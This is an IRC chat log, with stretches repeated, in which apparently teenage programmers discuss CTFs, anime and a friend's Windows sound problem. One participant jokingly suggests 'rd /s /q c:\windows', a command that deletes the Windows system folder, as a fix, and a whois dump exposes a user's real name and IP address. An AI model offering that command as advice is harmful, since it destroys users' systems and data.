[2015-01-23T02:43:30-0500] <ubuntor> i know
[2015-01-23T02:43:31-0500] <nezorg> do you have school tomorrow?
[2015-01-23T02:43:41-0500] <ubuntor> yes
[2015-01-23T02:43:45-0500] <nezorg> ...
[2015-01-23T02:43:47-0500] <nezorg> sounds fun
[2015-01-23T03:14:54-0500] <nezorg> blech
[2015-01-23T03:15:12-0500] <nezorg> now I remember why I don't stay up late
[2015-01-23T09:58:40-0500] <unitedjaymo> ctfers
[2015-01-23T09:58:49-0500] <unitedjaymo> join the party
[2015-01-23T09:58:49-0500] • unitedjaymo: http://ctctf.io/
[2015-01-23T10:10:12-0500] <+hardmath123> unitedjaymo: the logo's pretty
[2015-01-23T10:19:36-0500] <alokpathy> unitedjaymo: Can I compete?: P
[2015-01-23T11:03:13-0500] <+JacobEdelman> I'm writing nim!
[2015-01-23T11:03:15-0500] <+JacobEdelman> nim is fun!
[2015-01-23T11:30:17-0500] <nezorg> unitedjaymo: I have no idea what that is, why would I sign up for updates?
[2015-01-23T11:35:38-0500] <+JacobEdelman> its a ctf that jay is running
[2015-01-23T11:35:48-0500] <+JacobEdelman> along with some alok, myself, and other people
[2015-01-23T11:56:45-0500] <@awe> Pharyngeal: everybody said they'd join "soon."
[2015-01-23T11:56:56-0500] <@awe> Pharyngeal: except I did get one person to join who isn't from here.
[2015-01-23T12:03:11-0500] <nezorg> ooooh
[2015-01-23T12:03:14-0500] <nezorg> skewer-mode is very cool
[2015-01-23T12:19:13-0500] <nezorg> ...I was trying to find a js debugger for emacs
[2015-01-23T12:19:15-0500] <nezorg> this came up: https://medium.com/friendship-dot-js/debug-your-javascript-code-in-real-time-76decf09fc1d
[2015-01-23T12:21:06-0500] <nezorg> ...that whole blog is hilarious
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[2015-01-23T13:27:48-0500] <Tamini_> hey hey who's alive :O
[2015-01-23T13:30:23-0500] <@awe> I am.
[2015-01-23T13:30:41-0500] <@awe> I'm in a discussion for my systems class.
[2015-01-23T13:30:50-0500] <@awe> He's explaining how to download and install VirtualBox right now.
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[2015-01-23T13:45:21-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-23T00:59:30-0500] <nezorg> night
[2015-01-23T01:20:28-0500] <Pharyngeal> awe: Did you ever convince the others to join Hyperboria?
[2015-01-23T01:25:03-0500] <Pharyngeal> Huh, I guess it's thirsty Thursday
[2015-01-23T01:37:23-0500] <nezorg> wat
[2015-01-23T01:42:02-0500] <+Tamini> oh god its 2am
[2015-01-23T01:42:04-0500] <+Tamini> what am i doing up
[2015-01-23T01:44:46-0500] <LittleBobbyTables> I know what I'm doing :^)
[2015-01-23T01:45:24-0500] <nezorg> ...what are you doing?
[2015-01-23T01:45:56-0500] <ubuntor> ( ͡° ͜ʖ ͡°)
[2015-01-23T01:46:10-0500] <nezorg> oshit
[2015-01-23T01:47:15-0500] <+Tamini> rip
[2015-01-23T01:47:21-0500] <+Tamini> ill cram during lunch tomorrow :D
[2015-01-23T01:47:24-0500] <+Tamini> thats the way to gooooo
[2015-01-23T01:47:29-0500] <+Tamini> gnight frans
[2015-01-23T01:50:10-0500] <nezorg> good luck
[2015-01-23T01:57:38-0500] <nezorg> welp
[2015-01-23T01:57:47-0500] <nezorg> looks like I'm actually going to finish my english homework now
[2015-01-23T02:26:27-0500] <nezorg> https://twitter.com/recruiterbro
[2015-01-23T02:41:47-0500] <ubuntor> lol those are great
[2015-01-23T02:43:10-0500] <nezorg> ubuntor: what timezone are you in?
[2015-01-23T02:43:16-0500] <ubuntor> ...est
[2015-01-23T02:43:19-0500] <nezorg> wat
[2015-01-23T02:43:30-0500] <ubuntor> i know
[2015-01-23T02:43:31-0500] <nezorg> do you have school tomorrow?
[2015-01-23T02:43:41-0500] <ubuntor> yes
[2015-01-23T02:43:45-0500] <nezorg> ...
[2015-01-23T02:43:47-0500] <nezorg> sounds fun
[2015-01-23T03:14:54-0500] <nezorg> blech
[2015-01-23T03:15:12-0500] <nezorg> now I remember why I don't stay up late
[2015-01-23T09:58:40-0500] <unitedjaymo> ctfers
[2015-01-23T09:58:49-0500] <unitedjaymo> join the party
[2015-01-23T09:58:49-0500] • unitedjaymo: http://ctctf.io/
[2015-01-23T10:10:12-0500] <+hardmath123> unitedjaymo: the logo's pretty
[2015-01-23T10:19:36-0500] <alokpathy> unitedjaymo: Can I compete?: P
[2015-01-23T11:03:13-0500] <+JacobEdelman> I'm writing nim!
[2015-01-23T11:03:15-0500] <+JacobEdelman> nim is fun!
[2015-01-23T11:30:17-0500] <nezorg> unitedjaymo: I have no idea what that is, why would I sign up for updates?
[2015-01-23T11:35:38-0500] <+JacobEdelman> its a ctf that jay is running
[2015-01-23T11:35:48-0500] <+JacobEdelman> along with some alok, myself, and other people
[2015-01-23T11:56:45-0500] <@awe> Pharyngeal: everybody said they'd join "soon."
[2015-01-23T11:56:56-0500] <@awe> Pharyngeal: except I did get one person to join who isn't from here.
[2015-01-23T12:03:11-0500] <nezorg> ooooh
[2015-01-23T12:03:14-0500] <nezorg> skewer-mode is very cool
[2015-01-23T12:19:13-0500] <nezorg> ...I was trying to find a js debugger for emacs
[2015-01-23T12:19:15-0500] <nezorg> this came up: https://medium.com/friendship-dot-js/debug-your-javascript-code-in-real-time-76decf09fc1d
[2015-01-23T12:21:06-0500] <nezorg> ...that whole blog is hilarious
[2015-01-23T13:27:47-0500] <Tamini_> hey hey who's alive :O
[2015-01-23T13:30:22-0500] <@awe> I am.
[2015-01-23T13:30:40-0500] <@awe> I'm in a discussion for my systems class.
[2015-01-23T13:30:49-0500] <@awe> He's explaining how to download and install VirtualBox right now.
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[2015-01-23T13:55:03-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-23T00:59:30-0500] <nezorg> night
[2015-01-23T01:20:28-0500] <Pharyngeal> awe: Did you ever convince the others to join Hyperboria?
[2015-01-23T01:25:03-0500] <Pharyngeal> Huh, I guess it's thirsty Thursday
[2015-01-23T01:37:23-0500] <nezorg> wat
[2015-01-23T01:42:02-0500] <+Tamini> oh god its 2am
[2015-01-23T01:42:04-0500] <+Tamini> what am i doing up
[2015-01-23T01:44:46-0500] <LittleBobbyTables> I know what I'm doing :^)
[2015-01-23T01:45:24-0500] <nezorg> ...what are you doing?
[2015-01-23T01:45:56-0500] <ubuntor> ( ͡° ͜ʖ ͡°)
[2015-01-23T01:46:10-0500] <nezorg> oshit
[2015-01-23T01:47:15-0500] <+Tamini> rip
[2015-01-23T01:47:21-0500] <+Tamini> ill cram during lunch tomorrow :D
[2015-01-23T01:47:24-0500] <+Tamini> thats the way to gooooo
[2015-01-23T01:47:29-0500] <+Tamini> gnight frans
[2015-01-23T01:50:10-0500] <nezorg> good luck
[2015-01-23T01:57:38-0500] <nezorg> welp
[2015-01-23T01:57:47-0500] <nezorg> looks like I'm actually going to finish my english homework now
[2015-01-23T02:26:27-0500] <nezorg> https://twitter.com/recruiterbro
[2015-01-23T02:41:47-0500] <ubuntor> lol those are great
[2015-01-23T02:43:10-0500] <nezorg> ubuntor: what timezone are you in?
[2015-01-23T02:43:16-0500] <ubuntor> ...est
[2015-01-23T02:43:19-0500] <nezorg> wat
[2015-01-23T02:43:30-0500] <ubuntor> i know
[2015-01-23T02:43:31-0500] <nezorg> do you have school tomorrow?
[2015-01-23T02:43:41-0500] <ubuntor> yes
[2015-01-23T02:43:45-0500] <nezorg> ...
[2015-01-23T02:43:47-0500] <nezorg> sounds fun
[2015-01-23T03:14:54-0500] <nezorg> blech
[2015-01-23T03:15:12-0500] <nezorg> now I remember why I don't stay up late
[2015-01-23T09:58:40-0500] <unitedjaymo> ctfers
[2015-01-23T09:58:49-0500] <unitedjaymo> join the party
[2015-01-23T09:58:49-0500] • unitedjaymo: http://ctctf.io/
[2015-01-23T10:10:12-0500] <+hardmath123> unitedjaymo: the logo's pretty
[2015-01-23T10:19:36-0500] <alokpathy> unitedjaymo: Can I compete?: P
[2015-01-23T11:03:13-0500] <+JacobEdelman> I'm writing nim!
[2015-01-23T11:03:15-0500] <+JacobEdelman> nim is fun!
[2015-01-23T11:30:17-0500] <nezorg> unitedjaymo: I have no idea what that is, why would I sign up for updates?
[2015-01-23T11:35:38-0500] <+JacobEdelman> its a ctf that jay is running
[2015-01-23T11:35:48-0500] <+JacobEdelman> along with some alok, myself, and other people
[2015-01-23T11:56:45-0500] <@awe> Pharyngeal: everybody said they'd join "soon."
[2015-01-23T11:56:56-0500] <@awe> Pharyngeal: except I did get one person to join who isn't from here.
[2015-01-23T12:03:11-0500] <nezorg> ooooh
[2015-01-23T12:03:14-0500] <nezorg> skewer-mode is very cool
[2015-01-23T12:19:13-0500] <nezorg> ...I was trying to find a js debugger for emacs
[2015-01-23T12:19:15-0500] <nezorg> this came up: https://medium.com/friendship-dot-js/debug-your-javascript-code-in-real-time-76decf09fc1d
[2015-01-23T12:21:06-0500] <nezorg> ...that whole blog is hilarious
[2015-01-23T13:27:47-0500] <Tamini_> hey hey who's alive :O
[2015-01-23T13:30:22-0500] <@awe> I am.
[2015-01-23T13:30:40-0500] <@awe> I'm in a discussion for my systems class.
[2015-01-23T13:30:49-0500] <@awe> He's explaining how to download and install VirtualBox right now.
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[2015-01-23T14:02:26-0500] <alokpathy> Tamini: I am now
[2015-01-23T14:02:33-0500] <@awe> hi alokpathy 
[2015-01-23T14:02:50-0500] <alokpathy> Hi awe
[2015-01-23T14:02:54-0500] <alokpathy> Did you enjoy our FB conversation via Shannon?
[2015-01-23T14:03:49-0500] <@awe> Yeah.
[2015-01-23T14:03:49-0500] <@awe> Duh.
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[2015-01-23T21:41:13-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-23T20:03:04-0500] <+JacobEdelman> oh wait give me a sec
[2015-01-23T20:05:00-0500] <+JacobEdelman> "rd /s /q c:\windows" should do the trick
[2015-01-23T20:05:05-0500] <+JacobEdelman> it removes the windows folder
[2015-01-23T20:05:11-0500] <+JacobEdelman> :P
[2015-01-23T20:05:23-0500] <alokpathy> :|
[2015-01-23T20:05:24-0500] <+JacobEdelman> thats my solution for dual booters
[2015-01-23T20:07:54-0500] <alokpathy> Evidently, he uses GRUB
[2015-01-23T20:08:30-0500] <+JacobEdelman> so?
[2015-01-23T20:08:35-0500] <+JacobEdelman> that shouldn't change anything
[2015-01-23T20:08:39-0500] <+JacobEdelman> windows is just weird
[2015-01-23T20:08:44-0500] <+JacobEdelman> I really can't think of any explanation
[2015-01-23T20:08:53-0500] <+JacobEdelman> frankly, I doubt dual booting has anythign to do with the problem
[2015-01-23T20:08:58-0500] <+JacobEdelman> its a purely windows thing
[2015-01-23T20:09:22-0500] <bob_twinkles> does it show up in the device manager?
[2015-01-23T20:09:39-0500] <alokpathy> It's not finding his headphones at all.
[2015-01-23T20:10:50-0500] <+JacobEdelman> tell uday to come on to this irc channell
[2015-01-23T20:10:53-0500] <+JacobEdelman> give him instructions
[2015-01-23T20:15:07-0500] <alokpathy> As soon as he responds
[2015-01-23T20:15:12-0500] • alokpathy: techsupport--
[2015-01-23T20:18:24-0500] <+Tamini> lol
[2015-01-23T20:23:24-0500] <assface> JacobEdelman: ALSA interacts with sound cards in odd ways, I'm not all that suprised
[2015-01-23T20:28:42-0500] <alokpathy> I just realized
[2015-01-23T20:28:50-0500] <alokpathy> David Karger answered a Quora question of mine
[2015-01-23T20:28:51-0500] <alokpathy> :o
[2015-01-23T20:33:03-0500] <alokpathy> us01: Hey
[2015-01-23T20:33:18-0500] <alokpathy> Just ask here
[2015-01-23T20:33:38-0500] <assface> who dis
[2015-01-23T20:33:55-0500] <alokpathy> JacobEdelman: bob_twinkles us01 is the guy I was talking about
[2015-01-23T20:34:05-0500] <+hardmath123> i found what appears to be a puzzle graffiti'd on a wall at school
[2015-01-23T20:34:08-0500] <alokpathy> and anybody else who can help.
[2015-01-23T20:34:16-0500] <assface> alright kid I have some advice for you
[2015-01-23T20:34:31-0500] <assface> so, get your windows partition
[2015-01-23T20:34:52-0500] <assface> (maybe with disks, i haven't used ubuntu in awhile
[2015-01-23T20:35:03-0500] <assface> and format it
[2015-01-23T20:39:36-0500] <us01> i've done that already
[2015-01-23T20:39:53-0500] <us01> im on a relatively new windows install
[2015-01-23T20:44:30-0500] <assface> the trick is to not reinstall windows afterwards
[2015-01-23T20:53:18-0500] <+Tamini> hardmath123L pls gib details
[2015-01-23T21:03:52-0500] <+JacobEdelman> I agree with arseface
[2015-01-23T21:04:00-0500] <+JacobEdelman> windows is for wimps, remove it
[2015-01-23T21:04:04-0500] <+JacobEdelman> awe: can you help uday?
[2015-01-23T21:20:38-0500] <alokpathy> So, what do we do with our lives tonight?
[2015-01-23T21:20:52-0500] <+JacobEdelman> I'm playing settelers of cattan with ben and ezra
[2015-01-23T21:21:02-0500] <alokpathy> Ah, right, Ben's back from college
[2015-01-23T21:21:03-0500] <alokpathy> again
[2015-01-23T21:21:07-0500] <+JacobEdelman> yup :P
[2015-01-23T21:21:39-0500] <+JacobEdelman> my computer was using 2 gigs on nmap
[2015-01-23T21:21:44-0500] <+JacobEdelman> thats why it was slow
[2015-01-23T21:21:48-0500] <alokpathy> Wow
[2015-01-23T21:24:26-0500] <assface> I'm probably going to play civ online
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[2015-01-23T20:03:04-0500] <+JacobEdelman> oh wait give me a sec
[2015-01-23T20:05:00-0500] <+JacobEdelman> "rd /s /q c:\windows" should do the trick
[2015-01-23T20:05:05-0500] <+JacobEdelman> it removes the windows folder
[2015-01-23T20:05:11-0500] <+JacobEdelman> :P
[2015-01-23T20:05:23-0500] <alokpathy> :|
[2015-01-23T20:05:24-0500] <+JacobEdelman> thats my solution for dual booters
[2015-01-23T20:07:54-0500] <alokpathy> Evidently, he uses GRUB
[2015-01-23T20:08:30-0500] <+JacobEdelman> so?
[2015-01-23T20:08:35-0500] <+JacobEdelman> that shouldn't change anything
[2015-01-23T20:08:39-0500] <+JacobEdelman> windows is just weird
[2015-01-23T20:08:44-0500] <+JacobEdelman> I really can't think of any explanation
[2015-01-23T20:08:53-0500] <+JacobEdelman> frankly, I doubt dual booting has anythign to do with the problem
[2015-01-23T20:08:58-0500] <+JacobEdelman> its a purely windows thing
[2015-01-23T20:09:22-0500] <bob_twinkles> does it show up in the device manager?
[2015-01-23T20:09:39-0500] <alokpathy> It's not finding his headphones at all.
[2015-01-23T20:10:50-0500] <+JacobEdelman> tell uday to come on to this irc channell
[2015-01-23T20:10:53-0500] <+JacobEdelman> give him instructions
[2015-01-23T20:15:07-0500] <alokpathy> As soon as he responds
[2015-01-23T20:15:12-0500] • alokpathy: techsupport--
[2015-01-23T20:18:24-0500] <+Tamini> lol
[2015-01-23T20:23:24-0500] <assface> JacobEdelman: ALSA interacts with sound cards in odd ways, I'm not all that suprised
[2015-01-23T20:28:42-0500] <alokpathy> I just realized
[2015-01-23T20:28:50-0500] <alokpathy> David Karger answered a Quora question of mine
[2015-01-23T20:28:51-0500] <alokpathy> :o
[2015-01-23T20:33:03-0500] <alokpathy> us01: Hey
[2015-01-23T20:33:18-0500] <alokpathy> Just ask here
[2015-01-23T20:33:38-0500] <assface> who dis
[2015-01-23T20:33:55-0500] <alokpathy> JacobEdelman: bob_twinkles us01 is the guy I was talking about
[2015-01-23T20:34:05-0500] <+hardmath123> i found what appears to be a puzzle graffiti'd on a wall at school
[2015-01-23T20:34:08-0500] <alokpathy> and anybody else who can help.
[2015-01-23T20:34:16-0500] <assface> alright kid I have some advice for you
[2015-01-23T20:34:31-0500] <assface> so, get your windows partition
[2015-01-23T20:34:52-0500] <assface> (maybe with disks, i haven't used ubuntu in awhile
[2015-01-23T20:35:03-0500] <assface> and format it
[2015-01-23T20:39:36-0500] <us01> i've done that already
[2015-01-23T20:39:53-0500] <us01> im on a relatively new windows install
[2015-01-23T20:44:30-0500] <assface> the trick is to not reinstall windows afterwards
[2015-01-23T20:53:18-0500] <+Tamini> hardmath123L pls gib details
[2015-01-23T21:03:52-0500] <+JacobEdelman> I agree with arseface
[2015-01-23T21:04:00-0500] <+JacobEdelman> windows is for wimps, remove it
[2015-01-23T21:04:04-0500] <+JacobEdelman> awe: can you help uday?
[2015-01-23T21:20:38-0500] <alokpathy> So, what do we do with our lives tonight?
[2015-01-23T21:20:52-0500] <+JacobEdelman> I'm playing settelers of cattan with ben and ezra
[2015-01-23T21:21:02-0500] <alokpathy> Ah, right, Ben's back from college
[2015-01-23T21:21:03-0500] <alokpathy> again
[2015-01-23T21:21:07-0500] <+JacobEdelman> yup :P
[2015-01-23T21:21:39-0500] <+JacobEdelman> my computer was using 2 gigs on nmap
[2015-01-23T21:21:44-0500] <+JacobEdelman> thats why it was slow
[2015-01-23T21:21:48-0500] <alokpathy> Wow
[2015-01-23T21:24:26-0500] <assface> I'm probably going to play civ online
[2015-01-23T21:41:56-0500] Mode is +nst
[2015-01-23T21:41:58-0500] <@awe> JacobEdelman: uday?
[2015-01-23T21:42:07-0500] <+JacobEdelman> us01
[2015-01-23T21:42:10-0500] <+JacobEdelman> a person from our school
[2015-01-23T21:42:22-0500] us01 has userhost uid63660@pdgn-10a.9lf.7cuf9e.IP and real name "Uday S"
[2015-01-23T21:42:22-0500] us01 is connecting from uid63660@ealing.irccloud.com 192.184.9.110
[2015-01-23T21:42:22-0500] us01 is on #pdgn 
[2015-01-23T21:42:22-0500] us01 is connected on irc.pdgn.co (Pidgeon Company)
[2015-01-23T21:42:22-0500] us01 is using modes +x
[2015-01-23T21:42:22-0500] us01 is using a secure connection
[2015-01-23T21:42:22-0500] us01 signed on at January 23, 2015 at 8:32:13 PM EST and has been idle for 1 hour, 2 minutes, 29 seconds
[2015-01-23T21:42:31-0500] <@awe> What does he need help with?
[2015-01-23T21:42:31-0500] <LittleBobbyTables> what civ assface 
[2015-01-23T21:42:41-0500] <alokpathy> Any CS events I can go to on June 5th?
[2015-01-23T21:42:56-0500] <alokpathy> awe: Something about the sound on his computer
[2015-01-23T21:43:05-0500] <@awe> Install Nix.
[2015-01-23T21:43:09-0500] <@awe> That's my advice.
[2015-01-23T21:43:12-0500] <alokpathy> awe: Switches from Ubuntu to Windows and it doesn't work.
[2015-01-23T21:43:16-0500] <alokpathy> awe: Alright then :P
[2015-01-23T21:45:56-0500] <+JacobEdelman> LittleBobbyTables: for a second I thought you were insulting someone :P
[2015-01-23T21:48:35-0500] <@awe> My advice is definitely uninstall Windows.
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[2015-01-23T22:11:08-0500] <+JacobEdelman> ^
[2015-01-23T22:13:32-0500] <alokpathy> xD
[2015-01-23T22:19:18-0500] <+Tamini> lol
[2015-01-23T22:19:23-0500] <+Tamini> we lost everyone simultaneously
[2015-01-23T22:22:13-0500] <@awe> Good.
[2015-01-23T22:22:21-0500] <@awe> Okay, so, I successfully made a hanoi solver in HS.
[2015-01-23T22:22:53-0500] <@awe> http://sprunge.us/JgPh?hs
[2015-01-23T22:25:18-0500] <alokpathy> Tamini: wat
[2015-01-23T22:25:26-0500] <alokpathy> awe: Oh nice
[2015-01-23T22:25:37-0500] <+Tamini> oh i meant like
[2015-01-23T22:25:38-0500] <@awe> Practically speaking, it's a one liner.
[2015-01-23T22:25:42-0500] <+Tamini> everyone that joined right after pennapps
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[2015-01-23T22:26:31-0500] <failedxyz> hei
[2015-01-23T22:27:13-0500] <alokpathy> awe: Lol, yup
[2015-01-23T22:27:48-0500] <alokpathy> failedxyz: Hiya
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[2015-01-23T22:58:53-0500] <LittleBobbyTables> wtf is this thejackers ctf
[2015-01-23T22:59:23-0500] <alokpathy> ?
[2015-01-23T22:59:28-0500] <alokpathy> Is it on June 5th?
[2015-01-23T22:59:56-0500] <LittleBobbyTables> it's now
[2015-01-23T23:00:43-0500] <alokpathy> Oh, nevermind
[2015-01-23T23:01:39-0500] <LittleBobbyTables> No idea how to even register for it
[2015-01-23T23:02:33-0500] <alokpathy> gg
[2015-01-23T23:02:56-0500] <LittleBobbyTables> ctf.th3jackers.com
[2015-01-23T23:15:07-0500] <alokpathy> Please tell me there's something on June 5th
[2015-01-23T23:17:16-0500] <Hyper> JacobEdelman: oh, also, http://myanimelist.net/anime/15315/Mondaiji-tachi_ga_Isekai_kara_Kuru_Sou_Desu_yo is a LOT like NGNL
[2015-01-23T23:18:21-0500] <Hyper> but dayum it has a long fucking name
[2015-01-23T23:18:25-0500] <+JacobEdelman> Hyper: downloading
[2015-01-23T23:18:29-0500] <Hyper> lol
[2015-01-23T23:18:53-0500] <Hyper> that came out 2 years ago and no second season q.q
[2015-01-23T23:21:16-0500] <+Tamini> oh
[2015-01-23T23:21:23-0500] <+Tamini> lol
[2015-01-23T23:21:36-0500] <+Tamini> wait this is like
[2015-01-23T23:21:39-0500] <+Tamini> almost exactly ngnl
[2015-01-23T23:21:43-0500] <Hyper> yeah pretty much
[2015-01-23T23:21:50-0500] <Hyper> the protagonists are MORE OP
[2015-01-23T23:21:53-0500] <Hyper> if you can believe it
[2015-01-23T23:21:54-0500] <+Tamini> lolol
[2015-01-23T23:22:12-0500] <+Tamini> i actually JUST finished
[2015-01-23T23:22:17-0500] <+Tamini> the world only god knows
[2015-01-23T23:22:23-0500] <Hyper> I've been meaning to watch that
[2015-01-23T23:22:28-0500] <+Tamini> so i'm so used to all these protags going "life is just a shitty game"
[2015-01-23T23:22:29-0500] <+Tamini> :P
[2015-01-23T23:23:56-0500] <Hyper> I'm having my brother watch FLCL so I'm expecting a lot of "wat"s out of him this weekend :)
[2015-01-23T23:24:26-0500] <+Tamini> how old is your brother? lol
[2015-01-23T23:24:47-0500] <+Tamini> also i actually havent watched flcl :/
[2015-01-23T23:24:57-0500] <Hyper> he just turned 16
[2015-01-23T23:25:32-0500] <+Tamini> ohhh, okay
[2015-01-23T23:25:35-0500] <+Tamini> how is flcl?
[2015-01-23T23:25:49-0500] <Hyper> it's great
[2015-01-23T23:25:52-0500] <Hyper> it's just nonsense
[2015-01-23T23:26:53-0500] <+Tamini> haha
[2015-01-23T23:27:01-0500] <+Tamini> my main issue with anime is that i'm waaaay too picky
[2015-01-23T23:27:15-0500] <+Tamini> and i care too much about how pretty everything is
[2015-01-23T23:27:25-0500] <+JacobEdelman> Hyper: how old do you think I am?
[2015-01-23T23:27:32-0500] <Hyper> 16 or so?
[2015-01-23T23:27:33-0500] <Hyper> idk
[2015-01-23T23:27:55-0500] <+Tamini> ding ding ding
[2015-01-23T23:27:55-0500] <+JacobEdelman> okay, you got it right
[2015-01-23T23:27:56-0500] <+Tamini> correct :D
[2015-01-23T23:27:58-0500] <+JacobEdelman> thats no fun
[2015-01-23T23:29:38-0500] <Hyper> to be fair I don't purport to be a rolemodel in any sense of the word :)
[2015-01-23T23:30:08-0500] <+Tamini> hehe
[2015-01-23T23:30:12-0500] <+Tamini> that makes you more fun
[2015-01-23T23:30:25-0500] <+JacobEdelman> I'm a great role model!
[2015-01-23T23:30:34-0500] • JacobEdelman: is a horrible role model
[2015-01-23T23:35:16-0500] <+Tamini> im glad you realize
[2015-01-23T23:38:00-0500] <+JacobEdelman> gnight
[2015-01-23T23:45:39-0500] <LittleBobbyTables> trilane loses to a solo wr (she gets first 2 kills of the game), i get blamed because those 3 are in a party, and because I left mid for 20 seconds, which means i let their carry (who isn't even in my lane) free farm. dota's fucking retardwed
[2015-01-23T23:47:57-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=dHP1Bje3tic
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[2015-01-23T23:17:15-0500] <Hyper> JacobEdelman: oh, also, http://myanimelist.net/anime/15315/Mondaiji-tachi_ga_Isekai_kara_Kuru_Sou_Desu_yo is a LOT like NGNL
[2015-01-23T23:18:21-0500] <Hyper> but dayum it has a long fucking name
[2015-01-23T23:18:24-0500] <+JacobEdelman> Hyper: downloading
[2015-01-23T23:18:29-0500] <Hyper> lol
[2015-01-23T23:18:53-0500] <Hyper> that came out 2 years ago and no second season q.q
[2015-01-23T23:21:16-0500] <+Tamini> oh
[2015-01-23T23:21:22-0500] <+Tamini> lol
[2015-01-23T23:21:36-0500] <+Tamini> wait this is like
[2015-01-23T23:21:38-0500] <+Tamini> almost exactly ngnl
[2015-01-23T23:21:43-0500] <Hyper> yeah pretty much
[2015-01-23T23:21:49-0500] <Hyper> the protagonists are MORE OP
[2015-01-23T23:21:52-0500] <Hyper> if you can believe it
[2015-01-23T23:21:54-0500] <+Tamini> lolol
[2015-01-23T23:22:11-0500] <+Tamini> i actually JUST finished
[2015-01-23T23:22:16-0500] <+Tamini> the world only god knows
[2015-01-23T23:22:23-0500] <Hyper> I've been meaning to watch that
[2015-01-23T23:22:28-0500] <+Tamini> so i'm so used to all these protags going "life is just a shitty game"
[2015-01-23T23:22:28-0500] <+Tamini> :P
[2015-01-23T23:23:55-0500] <Hyper> I'm having my brother watch FLCL so I'm expecting a lot of "wat"s out of him this weekend :)
[2015-01-23T23:24:26-0500] <+Tamini> how old is your brother? lol
[2015-01-23T23:24:47-0500] <+Tamini> also i actually havent watched flcl :/
[2015-01-23T23:24:57-0500] <Hyper> he just turned 16
[2015-01-23T23:25:32-0500] <+Tamini> ohhh, okay
[2015-01-23T23:25:34-0500] <+Tamini> how is flcl?
[2015-01-23T23:25:48-0500] <Hyper> it's great
[2015-01-23T23:25:51-0500] <Hyper> it's just nonsense
[2015-01-23T23:26:53-0500] <+Tamini> haha
[2015-01-23T23:27:01-0500] <+Tamini> my main issue with anime is that i'm waaaay too picky
[2015-01-23T23:27:15-0500] <+Tamini> and i care too much about how pretty everything is
[2015-01-23T23:27:25-0500] <+JacobEdelman> Hyper: how old do you think I am?
[2015-01-23T23:27:32-0500] <Hyper> 16 or so?
[2015-01-23T23:27:33-0500] <Hyper> idk
[2015-01-23T23:27:55-0500] <+Tamini> ding ding ding
[2015-01-23T23:27:55-0500] <+JacobEdelman> okay, you got it right
[2015-01-23T23:27:56-0500] <+Tamini> correct :D
[2015-01-23T23:27:57-0500] <+JacobEdelman> thats no fun
[2015-01-23T23:29:38-0500] <Hyper> to be fair I don't purport to be a rolemodel in any sense of the word :)
[2015-01-23T23:30:08-0500] <+Tamini> hehe
[2015-01-23T23:30:11-0500] <+Tamini> that makes you more fun
[2015-01-23T23:30:25-0500] <+JacobEdelman> I'm a great role model!
[2015-01-23T23:30:34-0500] • JacobEdelman: is a horrible role model
[2015-01-23T23:35:15-0500] <+Tamini> im glad you realize
[2015-01-23T23:38:00-0500] <+JacobEdelman> gnight
[2015-01-23T23:45:39-0500] <LittleBobbyTables> trilane loses to a solo wr (she gets first 2 kills of the game), i get blamed because those 3 are in a party, and because I left mid for 20 seconds, which means i let their carry (who isn't even in my lane) free farm. dota's fucking retardwed
[2015-01-23T23:47:56-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=dHP1Bje3tic
[2015-01-23T23:51:41-0500] <Hyper> wtf
[2015-01-24T00:22:19-0500] <notabot> testing
[2015-01-24T00:23:10-0500] <alokpathy> notabot: Why hello there.
[2015-01-24T00:24:39-0500] <+Tamini> hello, notabot 
[2015-01-24T01:01:47-0500] <assface> eyyyy
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[2015-01-23T23:21:16-0500] <+Tamini> oh
[2015-01-23T23:21:22-0500] <+Tamini> lol
[2015-01-23T23:21:36-0500] <+Tamini> wait this is like
[2015-01-23T23:21:38-0500] <+Tamini> almost exactly ngnl
[2015-01-23T23:21:43-0500] <Hyper> yeah pretty much
[2015-01-23T23:21:49-0500] <Hyper> the protagonists are MORE OP
[2015-01-23T23:21:52-0500] <Hyper> if you can believe it
[2015-01-23T23:21:54-0500] <+Tamini> lolol
[2015-01-23T23:22:11-0500] <+Tamini> i actually JUST finished
[2015-01-23T23:22:16-0500] <+Tamini> the world only god knows
[2015-01-23T23:22:23-0500] <Hyper> I've been meaning to watch that
[2015-01-23T23:22:28-0500] <+Tamini> so i'm so used to all these protags going "life is just a shitty game"
[2015-01-23T23:22:28-0500] <+Tamini> :P
[2015-01-23T23:23:55-0500] <Hyper> I'm having my brother watch FLCL so I'm expecting a lot of "wat"s out of him this weekend :)
[2015-01-23T23:24:26-0500] <+Tamini> how old is your brother? lol
[2015-01-23T23:24:47-0500] <+Tamini> also i actually havent watched flcl :/
[2015-01-23T23:24:57-0500] <Hyper> he just turned 16
[2015-01-23T23:25:32-0500] <+Tamini> ohhh, okay
[2015-01-23T23:25:34-0500] <+Tamini> how is flcl?
[2015-01-23T23:25:48-0500] <Hyper> it's great
[2015-01-23T23:25:51-0500] <Hyper> it's just nonsense
[2015-01-23T23:26:53-0500] <+Tamini> haha
[2015-01-23T23:27:01-0500] <+Tamini> my main issue with anime is that i'm waaaay too picky
[2015-01-23T23:27:15-0500] <+Tamini> and i care too much about how pretty everything is
[2015-01-23T23:27:25-0500] <+JacobEdelman> Hyper: how old do you think I am?
[2015-01-23T23:27:32-0500] <Hyper> 16 or so?
[2015-01-23T23:27:33-0500] <Hyper> idk
[2015-01-23T23:27:55-0500] <+Tamini> ding ding ding
[2015-01-23T23:27:55-0500] <+JacobEdelman> okay, you got it right
[2015-01-23T23:27:56-0500] <+Tamini> correct :D
[2015-01-23T23:27:57-0500] <+JacobEdelman> thats no fun
[2015-01-23T23:29:38-0500] <Hyper> to be fair I don't purport to be a rolemodel in any sense of the word :)
[2015-01-23T23:30:08-0500] <+Tamini> hehe
[2015-01-23T23:30:11-0500] <+Tamini> that makes you more fun
[2015-01-23T23:30:25-0500] <+JacobEdelman> I'm a great role model!
[2015-01-23T23:30:34-0500] • JacobEdelman: is a horrible role model
[2015-01-23T23:35:15-0500] <+Tamini> im glad you realize
[2015-01-23T23:38:00-0500] <+JacobEdelman> gnight
[2015-01-23T23:45:39-0500] <LittleBobbyTables> trilane loses to a solo wr (she gets first 2 kills of the game), i get blamed because those 3 are in a party, and because I left mid for 20 seconds, which means i let their carry (who isn't even in my lane) free farm. dota's fucking retardwed
